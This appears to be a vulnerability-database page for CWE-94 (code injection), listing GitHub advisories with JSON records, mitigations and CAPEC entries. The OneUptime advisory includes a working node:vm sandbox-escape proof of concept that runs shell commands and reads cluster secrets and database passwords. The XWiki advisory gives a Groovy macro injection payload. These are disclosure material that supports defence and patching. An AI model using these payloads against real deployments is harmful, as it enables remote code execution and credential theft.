CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8337 vulnerabilities reference this CWE, most recent first.
GHSA-V264-XQH4-9XMM
Vulnerability from github – Published: 2026-02-24 16:00 – Updated: 2026-02-24 16:00Summary
OneUptime lets project members write custom JavaScript that runs inside monitors. The problem is it executes that code using Node.js's built-in vm module, which Node.js itself documents as "not a security mechanism — do not use it to run untrusted code." The classic one-liner escape gives full access to the underlying process, and since the probe runs with host networking and holds all cluster credentials in its environment, this turns into a full cluster compromise for anyone who can register an account.
Details
The vulnerable code is in Common/Server/Utils/VM/VMRunner.ts at line 55:
vm.runInContext(script, sandbox, { timeout })
The JavaScript that reaches this call comes straight from the monitor's customCode field, which is only validated as Zod.string().optional() in Common/Types/Monitor/MonitorStep.ts:531. No AST analysis, no keyword filtering, nothing — just a string that goes directly into vm.runInContext().
Both CustomCodeMonitor.ts and SyntheticMonitor.ts import VMRunner directly inside the probe process. So when the probe picks up a monitor and runs it, the escape executes in the probe's own process — not a child process, not a container.
Two things make this especially bad:
First, the probe runs with network_mode: host (see docker-compose.base.yml:397) and carries ONEUPTIME_SECRET, DATABASE_PASSWORD, REDIS_PASSWORD, and CLICKHOUSE_PASSWORD as environment variables. Once you escape the sandbox you have all of those.
Second, the permission to create monitors is granted to Permission.ProjectMember — the lowest role — in Common/Models/DatabaseModels/Monitor.ts:46-51. There is no check that restricts Custom JavaScript Code monitors to admins only. And since open registration is on by default (disableSignup: false), any random person on the internet can reach this in about 30 seconds.
One more thing worth flagging: the IsolatedVM microservice is also affected despite its name. IsolatedVM/API/VM.ts:41 calls the exact same VMRunner.runCodeInSandbox() — it does NOT use the isolated-vm npm package. Workflow components and monitor criteria expressions both route through it and are equally exploitable.
PoC
- Register at
/accounts/register— signup is open by default, no invite needed - Create a project — you get ProjectMember automatically
- Go to Monitors → Add Monitor → pick Custom JavaScript Code
- Paste this into the code field:
const proc = this.constructor.constructor('return process')();
const run = proc.mainModule.require('child_process').execSync;
return {
data: {
secret: proc.env.ONEUPTIME_SECRET,
db_pass: proc.env.DATABASE_PASSWORD,
redis_pass: proc.env.REDIS_PASSWORD,
id: run('id').toString().trim(),
hostname: run('hostname').toString().trim()
}
};
- Save the monitor and wait about 60 seconds for the probe to poll
- Open Monitor Logs — the result contains the cluster secret, database password, and the output of
idrunning on the probe host
That's it. No admin account, no special config, no extra steps.
Impact
This is a code injection vulnerability affecting any OneUptime deployment with open registration or any trusted user with ProjectMember access. The attacker gets arbitrary command execution on the probe host, all cluster credentials from the environment, and with host networking can directly connect to PostgreSQL, Redis, and ClickHouse using those credentials. One monitor creation → full cluster compromise.
The straightforward fix is to replace node:vm with the isolated-vm npm package, which provides real V8 isolate sandboxing and is the standard solution for this exact problem in the Node.js ecosystem.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@oneuptime/common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27574"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-24T16:00:56Z",
"nvd_published_at": "2026-02-21T11:15:57Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nOneUptime lets project members write custom JavaScript that runs inside monitors. The problem is it executes that code using Node.js\u0027s built-in `vm` module, which Node.js itself documents as \"not a security mechanism \u2014 do not use it to run untrusted code.\" The classic one-liner escape gives full access to the underlying process, and since the probe runs with host networking and holds all cluster credentials in its environment, this turns into a full cluster compromise for anyone who can register an account.\n\n### Details\n\nThe vulnerable code is in `Common/Server/Utils/VM/VMRunner.ts` at line 55:\n\n```typescript\nvm.runInContext(script, sandbox, { timeout })\n```\n\nThe JavaScript that reaches this call comes straight from the monitor\u0027s `customCode` field, which is only validated as `Zod.string().optional()` in `Common/Types/Monitor/MonitorStep.ts:531`. No AST analysis, no keyword filtering, nothing \u2014 just a string that goes directly into `vm.runInContext()`.\n\nBoth `CustomCodeMonitor.ts` and `SyntheticMonitor.ts` import `VMRunner` directly inside the probe process. So when the probe picks up a monitor and runs it, the escape executes in the probe\u0027s own process \u2014 not a child process, not a container.\n\nTwo things make this especially bad:\n\nFirst, the probe runs with `network_mode: host` (see `docker-compose.base.yml:397`) and carries `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, `REDIS_PASSWORD`, and `CLICKHOUSE_PASSWORD` as environment variables. Once you escape the sandbox you have all of those.\n\nSecond, the permission to create monitors is granted to `Permission.ProjectMember` \u2014 the lowest role \u2014 in `Common/Models/DatabaseModels/Monitor.ts:46-51`. There is no check that restricts Custom JavaScript Code monitors to admins only. And since open registration is on by default (`disableSignup: false`), any random person on the internet can reach this in about 30 seconds.\n\nOne more thing worth flagging: the `IsolatedVM` microservice is also affected despite its name. `IsolatedVM/API/VM.ts:41` calls the exact same `VMRunner.runCodeInSandbox()` \u2014 it does NOT use the `isolated-vm` npm package. Workflow components and monitor criteria expressions both route through it and are equally exploitable.\n\n### PoC\n\n1. Register at `/accounts/register` \u2014 signup is open by default, no invite needed\n2. Create a project \u2014 you get ProjectMember automatically\n3. Go to Monitors \u2192 Add Monitor \u2192 pick **Custom JavaScript Code**\n4. Paste this into the code field:\n\n```javascript\nconst proc = this.constructor.constructor(\u0027return process\u0027)();\nconst run = proc.mainModule.require(\u0027child_process\u0027).execSync;\nreturn {\n data: {\n secret: proc.env.ONEUPTIME_SECRET,\n db_pass: proc.env.DATABASE_PASSWORD,\n redis_pass: proc.env.REDIS_PASSWORD,\n id: run(\u0027id\u0027).toString().trim(),\n hostname: run(\u0027hostname\u0027).toString().trim()\n }\n};\n```\n\n5. Save the monitor and wait about 60 seconds for the probe to poll\n6. Open Monitor Logs \u2014 the result contains the cluster secret, database password, and the output of `id` running on the probe host\n\nThat\u0027s it. No admin account, no special config, no extra steps.\n\n### Impact\n\nThis is a code injection vulnerability affecting any OneUptime deployment with open registration or any trusted user with ProjectMember access. The attacker gets arbitrary command execution on the probe host, all cluster credentials from the environment, and with host networking can directly connect to PostgreSQL, Redis, and ClickHouse using those credentials. One monitor creation \u2192 full cluster compromise.\n\nThe straightforward fix is to replace `node:vm` with the `isolated-vm` npm package, which provides real V8 isolate sandboxing and is the standard solution for this exact problem in the Node.js ecosystem.",
"id": "GHSA-v264-xqh4-9xmm",
"modified": "2026-02-24T16:00:56Z",
"published": "2026-02-24T16:00:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-v264-xqh4-9xmm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27574"
},
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/commit/7f9ed4d43945574702a26b7c206e38cc344fe427"
},
{
"type": "PACKAGE",
"url": "https://github.com/OneUptime/oneuptime"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OneUptime:: node:vm sandbox escape in probe allows any project member to achieve RCE"
}
GHSA-V297-FW62-483J
Vulnerability from github – Published: 2022-05-13 01:24 – Updated: 2022-05-13 01:24October CMS build 412 is vulnerable to PHP code execution in the asset manager functionality resulting in site compromise and possibly other applications on the server.
{
"affected": [],
"aliases": [
"CVE-2017-1000196"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-17T02:29:00Z",
"severity": "CRITICAL"
},
"details": "October CMS build 412 is vulnerable to PHP code execution in the asset manager functionality resulting in site compromise and possibly other applications on the server.",
"id": "GHSA-v297-fw62-483j",
"modified": "2022-05-13T01:24:45Z",
"published": "2022-05-13T01:24:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000196"
},
{
"type": "WEB",
"url": "https://github.com/octobercms/october/compare/v1.0.412...v1.0.413#diff-c328b7b99eac0d17b3c71eb37038fd61R49"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V2CV-WWXQ-QQ97
Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2024-07-08 19:56In Docker 19.03.x before 19.03.1 linked against the GNU C Library (aka glibc), code injection can occur when the nsswitch facility dynamically loads a library inside a chroot that contains the contents of the container.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "19.03.0"
},
{
"fixed": "19.03.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-14271"
],
"database_specific": {
"cwe_ids": [
"CWE-665",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-01T21:22:37Z",
"nvd_published_at": "2019-07-29T18:15:00Z",
"severity": "CRITICAL"
},
"details": "In Docker 19.03.x before 19.03.1 linked against the GNU C Library (aka glibc), code injection can occur when the nsswitch facility dynamically loads a library inside a chroot that contains the contents of the container.",
"id": "GHSA-v2cv-wwxq-qq97",
"modified": "2024-07-08T19:56:40Z",
"published": "2022-05-24T16:51:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14271"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/issues/39449"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/pull/39612"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/commit/11e48badcb67554b3d795241855028f28d244545"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/commit/fa8dd90ceb7bcb9d554d27e0b9087ab83e54bd2b"
},
{
"type": "WEB",
"url": "https://docs.docker.com/engine/release-notes"
},
{
"type": "PACKAGE",
"url": "https://github.com/moby/moby"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Sep/21"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190828-0003"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4521"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00084.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Moby Docker cp broken with debian containers"
}
GHSA-V2G4-FCV2-R5M3
Vulnerability from github – Published: 2022-05-17 01:10 – Updated: 2022-05-17 01:10Unrestricted file upload vulnerability in admin/files/add in AdaptCMS 3.0.3 allows remote authenticated users to execute arbitrary PHP code by uploading a file with a PHP extension, then accessing it via a direct request to the file in /app/webroot/uploads.
{
"affected": [],
"aliases": [
"CVE-2015-1059"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-01-16T15:59:00Z",
"severity": "MODERATE"
},
"details": "Unrestricted file upload vulnerability in admin/files/add in AdaptCMS 3.0.3 allows remote authenticated users to execute arbitrary PHP code by uploading a file with a PHP extension, then accessing it via a direct request to the file in /app/webroot/uploads.",
"id": "GHSA-v2g4-fcv2-r5m3",
"modified": "2022-05-17T01:10:31Z",
"published": "2022-05-17T01:10:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1059"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/99616"
},
{
"type": "WEB",
"url": "http://osvdb.org/show/osvdb/116722"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/129814/AdaptCMS-3.0.3-Remote-Command-Execution.html"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/35710"
},
{
"type": "WEB",
"url": "http://zeroscience.mk/en/vulnerabilities/ZSL-2015-5220.php"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V2J9-943X-2MR8
Vulnerability from github – Published: 2022-05-01 23:49 – Updated: 2022-05-01 23:49PHP remote file inclusion vulnerability in ch_readalso.php in News Manager 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the read_xml_include parameter.
{
"affected": [],
"aliases": [
"CVE-2008-2341"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-05-19T13:20:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in ch_readalso.php in News Manager 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the read_xml_include parameter.",
"id": "GHSA-v2j9-943x-2mr8",
"modified": "2022-05-01T23:49:04Z",
"published": "2022-05-01T23:49:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2341"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42459"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5624"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29251"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V2MW-W6VX-HF28
Vulnerability from github – Published: 2022-05-01 18:38 – Updated: 2022-05-01 18:38PHP remote file inclusion vulnerability in examples/patExampleGen/bbcodeSource.php in patBBcode 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the example parameter.
{
"affected": [],
"aliases": [
"CVE-2007-5995"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-11-15T22:46:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in examples/patExampleGen/bbcodeSource.php in patBBcode 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the example parameter.",
"id": "GHSA-v2mw-w6vx-hf28",
"modified": "2022-05-01T18:38:38Z",
"published": "2022-05-01T18:38:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5995"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/38425"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4621"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/26416"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/3904"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-V2P2-MJ8C-JJFR
Vulnerability from github – Published: 2022-05-13 01:07 – Updated: 2022-05-13 01:07baigoStudio baigoSSO v3.0.1 allows remote attackers to execute arbitrary PHP code via the first form field of a configuration screen, because this code is written to the BG_SITE_NAME field in the opt_base.inc.php file.
{
"affected": [],
"aliases": [
"CVE-2019-10015"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-24T22:29:00Z",
"severity": "HIGH"
},
"details": "baigoStudio baigoSSO v3.0.1 allows remote attackers to execute arbitrary PHP code via the first form field of a configuration screen, because this code is written to the BG_SITE_NAME field in the opt_base.inc.php file.",
"id": "GHSA-v2p2-mj8c-jjfr",
"modified": "2022-05-13T01:07:57Z",
"published": "2022-05-13T01:07:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10015"
},
{
"type": "WEB",
"url": "https://github.com/baigoStudio/baigoSSO/issues/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V2RR-XW95-WCJX
Vulnerability from github – Published: 2023-10-25 21:03 – Updated: 2023-11-01 05:55Impact
Any user who can edit their own user profile can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. This can be reproduced with the following steps:
- As an advanced user, use the object editor to add an object of type
UIExtensionClassto your user profile. Set the value "Extension Point ID" to{{/html}}{{async async=false cache=false}}{{groovy}}println("Hello from Groovy!"){{/groovy}}{{/async}} - Open
<xwiki-host>/xwiki/bin/edit/XWiki/<username>?sheet=Menu.UIExtensionSheetwhere<xwiki-host>is the URL of your XWiki installation and<username>is your user name.
If the text Hello from Groovy!" selected="selected"> is displayed in the output, the attack succeeded.
Patches
This has been patched in XWiki 14.10.8 and 15.3 RC1 by adding proper escaping.
Workarounds
The patch can be manually applied to the document Menu.UIExtensionSheet, only three lines need to be changed.
References
- https://jira.xwiki.org/browse/XWIKI-20746
- https://github.com/xwiki/xwiki-platform/commit/9e8f080094333dec63a8583229a3799208d773be
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-menu"
},
"ranges": [
{
"events": [
{
"introduced": "5.1-rc-1"
},
{
"fixed": "14.10.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-menu-ui"
},
"ranges": [
{
"events": [
{
"introduced": "5.1-rc-1"
},
{
"fixed": "14.10.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-menu-ui"
},
"ranges": [
{
"events": [
{
"introduced": "15.0-rc-1"
},
{
"fixed": "15.3-rc-1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-37909"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-25T21:03:11Z",
"nvd_published_at": "2023-10-25T18:17:28Z",
"severity": "HIGH"
},
"details": "### Impact\nAny user who can edit their own user profile can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. This can be reproduced with the following steps:\n\n1. As an advanced user, use the object editor to add an object of type `UIExtensionClass` to your user profile. Set the value \"Extension Point ID\" to `{{/html}}{{async async=false cache=false}}{{groovy}}println(\"Hello from Groovy!\"){{/groovy}}{{/async}}`\n2. Open `\u003cxwiki-host\u003e/xwiki/bin/edit/XWiki/\u003cusername\u003e?sheet=Menu.UIExtensionSheet` where `\u003cxwiki-host\u003e` is the URL of your XWiki installation and `\u003cusername\u003e` is your user name.\n\nIf the text `Hello from Groovy!\" selected=\"selected\"\u003e` is displayed in the output, the attack succeeded.\n\n### Patches\n\nThis has been patched in XWiki 14.10.8 and 15.3 RC1 by adding proper escaping.\n\n### Workarounds\nThe [patch](https://github.com/xwiki/xwiki-platform/commit/9e8f080094333dec63a8583229a3799208d773be#diff-47a5652d0c8e4601dac12bd9ab34b8bd688cb22a1b758ce7b774043658834662) can be manually applied to the document `Menu.UIExtensionSheet`, only three lines need to be changed.\n\n### References\n\n* https://jira.xwiki.org/browse/XWIKI-20746\n* https://github.com/xwiki/xwiki-platform/commit/9e8f080094333dec63a8583229a3799208d773be",
"id": "GHSA-v2rr-xw95-wcjx",
"modified": "2023-11-01T05:55:39Z",
"published": "2023-10-25T21:03:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-v2rr-xw95-wcjx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37909"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/9e8f080094333dec63a8583229a3799208d773be"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-20746"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Privilege escalation (PR)/remote code execution from account through Menu.UIExtensionSheet"
}
GHSA-V322-WC7V-XH7C
Vulnerability from github – Published: 2025-08-20 09:30 – Updated: 2026-04-01 18:35Improper Control of Generation of Code ('Code Injection') vulnerability in Jordy Meow Code Engine allows Remote Code Inclusion. This issue affects Code Engine: from n/a through 0.3.3.
{
"affected": [],
"aliases": [
"CVE-2025-48169"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T08:15:32Z",
"severity": "CRITICAL"
},
"details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Jordy Meow Code Engine allows Remote Code Inclusion. This issue affects Code Engine: from n/a through 0.3.3.",
"id": "GHSA-v322-wc7v-xh7c",
"modified": "2026-04-01T18:35:54Z",
"published": "2025-08-20T09:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48169"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/code-engine/vulnerability/wordpress-code-engine-plugin-0-3-3-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V34F-44Q8-P2X8
Vulnerability from github – Published: 2022-05-17 05:32 – Updated: 2025-04-11 03:53The Cook codec in RealNetworks RealPlayer before 15.0.0 allows remote attackers to execute arbitrary code via crafted channel data.
{
"affected": [],
"aliases": [
"CVE-2011-4257"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-11-24T11:55:00Z",
"severity": "HIGH"
},
"details": "The Cook codec in RealNetworks RealPlayer before 15.0.0 allows remote attackers to execute arbitrary code via crafted channel data.",
"id": "GHSA-v34f-44q8-p2x8",
"modified": "2025-04-11T03:53:01Z",
"published": "2022-05-17T05:32:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4257"
},
{
"type": "WEB",
"url": "http://service.real.com/realplayer/security/11182011_player/en"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.